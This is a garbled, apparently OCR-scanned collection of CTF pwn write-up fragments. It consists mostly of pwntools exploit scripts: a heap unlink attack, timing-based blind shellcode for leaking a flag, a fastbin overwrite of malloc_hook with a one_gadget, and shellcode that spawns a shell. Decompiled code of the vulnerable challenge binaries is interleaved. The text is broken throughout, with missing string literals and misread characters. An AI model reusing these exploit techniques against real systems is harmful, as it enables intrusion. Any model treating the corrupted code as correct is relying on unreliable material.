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from pwn import

context.os

context.arch

context.log level

r = remote( , 25467)

)

shellcode asm(shellcraft.sh())

def create(size,content):

r.sendlineafter(
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r.sendafter( ,content)

def edit(index,size,content):
.sendlineafter( 5 )
.sendlineafter( (index))

.sendlineafter( 5 (size))

"
"
"
"

.sendafter( ,content)

def delete(index):
r.sendlineafter( 5 )

r.sendlineafter( (index))

bss_addr 0x601020
buf_addr 0x601040

create(0x90, 0x90)
create(0x420, 0x420)
create(0x90, 0x90)

p64(9) p64(0x91)

p64(buf_addr - 0x18) p64(buf_addr
(0x90 - 32)

p64(0x90) p64(0X430)

(payload),payload)

payload = p64(0)*3 + p64(bss_addr) p64(buf_addr)
edit (o, (payload),payload)

create(0x500, 0x500)

create(0x500, 0x500)

p64(9) p64(buf_addr + 0x8 2)
) (payload), payload)
create(0x500, 0x500)

p64(bss_addr) p64(buf_addr) p64(0)
(payload),payload)

(shellcode),shellcode)
(p64(bss_addr)),p64(bss_addr))

r.sendlineafter(
r.sendlineafter(

r.interactive()
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__inte4 __ fastcall main(__int64 al,
{
FILE *v4; //
void *v5; //
void *buf; //

sub_B91(al, , );
= fopen("./flag.txt", "r");
if (! )
exit(1);

= mmap((void *)@x200000000LL, ©x2000ulLl, 3, 34, -1, OLL);
= mmap((void *)@x300000000LL, ©x20000ulLl, 7, 34, -1, OLL);

_isoc99_fscanf(v4, "%s", );
printf("Your Shellcode >>");
read(®, , ©xleulLl);
sub_C34();

((void (*)(void))buf)();
return OLL;
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from pwn import

,log level

for x in (0,10):
possible char.append( (x))

for x in ( ( ) ( )+1):
possible char.append( (x))

possible char.append( )

possible char.append( )

possible char.append( )

possible char.append(

,index,
(flag)
for guess_char in possible_char:

sh remote( ,26404)

shellcode_blind = asm(

(guess_char)))
sh.sendlineafter( ,Shellcode_blind)
start time.time()
sh.can_recv_raw(timeout
end = time.time()
sh.close()

if end start
if guess_char
(0] ¢ True
flag guess_char
print
index+=1
break
print ,flag
if length (flag):
(0] ¢ True
print
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add

puts(“game's name:");

read(®, » (unsigned int) );

*((_QWORD *)s + 1) = H

puts(“game's message:");

__is0c99_scanf("%23s", (char *)s + 16);

*(_DWORD *)s = 1;

for ( HIDWORD( ) = @; HIDWORD( ) <= 9; ++HIDWORD( ) )

{
if ( !11ist[HIDWORD( )1)

{
1ist[HIDWORD( )] = s;

break:;

¥
¥

++count;
return puts("Added!");
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view
unsigned int i; // [rsp+Ch] [rbp-4h]

LODWORD(v@) = count;
if ( count )

{
for (1 =0; 1 <= 9; ++1 )
{
ve = list[i];
if (ve)
{
LODWORD(v8) = *(_DWORD *)1ist[i];
if ( (_DWORD)v@ )
{
printf("Game[%u]'s name :%s", i, *(const char **)(list[i] + 8LL));
LODWORD(v@) = printf("Game[%u]'s message :%s\n", i, (const char *)(list[i] + 16LL));
¥
}
}
}
else
r
del
int del()
{

int result; // eax
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __inté4 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(@x28u);
if ( !count )
return puts("Null!l");
puts(“game's index:");
__1s0c99_scanf("%d", &vl);
if (vl <= 9 && list[vl] )
{
*(_DWORD *)1ist[vi] = @;
free(*(void **)(list[vl] + 8LL));
result = puts("Deleted!");
¥
else
{
puts(“index error!");
result = 8;
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from pwn import

context.log level



remote( WAVEE)

def add(length,name,color):
r.recvuntil(
.sendline( )
.recvuntil( )
(length))
.recvuntil( )

.sendline(

.sendline(name)
.recvuntil( )
.sendline(color)

def visit():
r.recvuntil(
r.sendline(

remove(idx):
.recvuntil(
.sendline( )
.recvuntil( )
.sendline( (idx))
def clean():
r.recvuntil(
r.sendline(

malloc_hook
OXFFF)

libc_base

(ub4(r.recvuntil(

malloc_hook libc.sym[

realloc libc_base libc.sym[

libc_base libc.sym[

libc_base +0xf02a4

(libc_base)

add (0x60, p64(malloc_hook
add (0x60, , )
s )
ox13
add (0x60,payload, )

ox23),

p64(one_gadget)

)[-6:].1just(8,

p64(realloc+0xc)

)

OXFFFFFFFFFFFFFO00)

(libc.sym[




r.interactive()
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__int64 sub_340()

{
_QWORD *v@; // rbx

sub_3Ce(eeLL);

sub_400(1LL, "hello shellcoder:", 17LL);

ve = (_QWORD *)sub_420(e, 4896, 7, 34, -1, OLL);
OxXF4F4F4F4AF4F4F4F4LL;
OxXF4F4F4F4F4F4F4F4LL;

V OxXF4F4F4F4F4F4F4F4LL;

vel[3] OxXF4F4F4F4F4F4F4F4LL;

sub_3E@(eLL, ve, 7LL);

sub_48B(ve);

return eLL;
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from pwn import

context.arch

remote( ,28871)

.recvuntil( )
.send(asm(s))
.send(asm(s)+asm(shellcraft.sh()))

.interactive()
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push rbp

mov rbp, rsp

add rsp, @FFFFFFFFFFFFFF86h
mov [rbp+var_74], edi

mov [rbp+var_g8@], rsi

mov rax, fs:28h

mov [rbp+var_8], rax

xor eax, eax

mov eax, @

call set_secommp

lea rax, [rbp+s]

mov esi, 68h ; 'h' ; n

mov rdi, rax ;s
call bzero

les rdi, s ; "Welcome,tell me your name:"
call puts

lea rax, [rbp+s]

mov edx, 64h ; 'd' ; nbytes
mov rsi, rax 5 buf
mov edi, @ ; fd
mov eax, ©

call read

sub eax, 1

cdqge

mov [rbp+rax+s], ©

lea rax, [rbp+s]

mov rdi, rax

call is_printable

test eax, eax

jz short loc_AC1
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test eax, eax
jz short loc_AC1
] _
[l =] [l &
lea rax, [rbp+s]
call rax loi
jmp short loc_ACD||le:
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mov [rbp+var_14], ©
jmp short loc_A1lC

Ll i =1

loc_AlC:

mov eax, [rbp+var_14]
movsxd rbx, eax

mov rax, [rbp+s]

mov rdi, rax ;s
call strlen

cmp rbx, rax

jb short loc_9E9
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from pwn import

context.log level
context.arch

r remote( , 27023)

shellcode =asm(

print shellcode

r.sendline(shellcode)

r.interactive()
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